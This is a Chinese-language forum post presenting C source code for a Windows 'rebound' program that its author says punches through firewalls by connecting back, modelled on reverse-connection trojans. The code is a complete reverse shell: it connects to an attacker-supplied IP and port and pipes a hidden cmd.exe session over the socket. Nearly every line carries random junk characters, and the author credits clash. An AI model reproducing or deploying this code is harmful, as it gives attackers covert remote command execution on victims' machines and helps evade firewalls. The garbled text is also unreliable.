这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "= >8UR
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/* ============================== T74."Lo#
Rebound port in Windows NT *vP:+]
By wind,2006/7 mmBZ}V+&=
===============================*/ w02t9vz
#include Ct pc]lJ}
#include d1hXzJs
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#pragma comment(lib,"wsock32.lib") "-A@d&5.
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void OutputShell(); U_1N*XK6$
SOCKET sClient; apd"p{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;1L7+.A
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void main(int argc,char **argv) 5gbD|^ij
{ /*hS0xN*
WSADATA stWsaData; cDqj&:$e
int nRet; q-4#)EnW
SOCKADDR_IN stSaiClient,stSaiServer; Su/}OS\R
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if(argc != 3) >&l{_b\k
{ ]R6Z(^XT,E
printf("Useage:\n\rRebound DestIP DestPort\n"); -`d(>ok
return; A:YWXcg
} <n)R?P(or
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'QxPQcU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YV"LM6`
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stSaiClient.sin_family = AF_INET; @ )m9#F
stSaiClient.sin_port = htons(0); ff<adl-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^9xsbv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W!4xE
{ dxF/]>t
printf("Bind Socket Failed!\n"); 'w!8`LPu
return; fqS
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} QE%|8UFY
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stSaiServer.sin_family = AF_INET; TCS^nBEE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TM?7F2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NzuH&o][
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8I|2yvhP
{ ?ne!LDlE|
printf("Connect Error!"); 8et.A
return; ?jRyw(Q
} ky98Bz%
OutputShell(); rCFTch"
} L}5IX)#gH
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void OutputShell() H-Z1i
{ .3*VkAs
char szBuff[1024]; kFF)6z:2
SECURITY_ATTRIBUTES stSecurityAttributes; bLpGrGJs
OSVERSIONINFO stOsversionInfo; yyVv@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a?QDf5Cq
STARTUPINFO stStartupInfo; g&6O*vx
char *szShell; *,=WaODO %
PROCESS_INFORMATION stProcessInformation; Z,bv D'u
unsigned long lBytesRead; *^5..0du
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VIjsz42C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,"!P{c
stSecurityAttributes.lpSecurityDescriptor = 0; U<lCK!85[
stSecurityAttributes.bInheritHandle = TRUE; 4$<-3IP,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); YOHYXhc{S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4? a!6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (iZE}qf7g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4x
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stStartupInfo.wShowWindow = SW_HIDE; uY;2tZldf=
stStartupInfo.hStdInput = hReadPipe; fC4D#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (SlrV8;
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GetVersionEx(&stOsversionInfo); uoe5@j2
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switch(stOsversionInfo.dwPlatformId) ]8X Y"2b
{ @Pc]qu
case 1: ]d@@E_s]
szShell = "command.com"; $LF
break; ;=.QT
default: KR6*)?c`
szShell = "cmd.exe"; 0Up@+R2
break; T$'GFA
} Pe !eID8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [k9aY$baT^
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send(sClient,szMsg,77,0); $3!j1
while(1) !(hP{k ^g
{ q(Y<cJ?X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7FVu[Qu
if(lBytesRead) }Vpr7_
{ _ID2yJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \"qXlTQ1_9
send(sClient,szBuff,lBytesRead,0); jG0{>P#+
} .Jz$)R
else W.ud<OKP90
{ HB4Hz0Fa
lBytesRead=recv(sClient,szBuff,1024,0); &DFe+y~PR
if(lBytesRead<=0) break; >,` /
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m%$z&<!
} ,XW6W&vR;
} 1WPDMLuN
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return; Wx&AY"J
}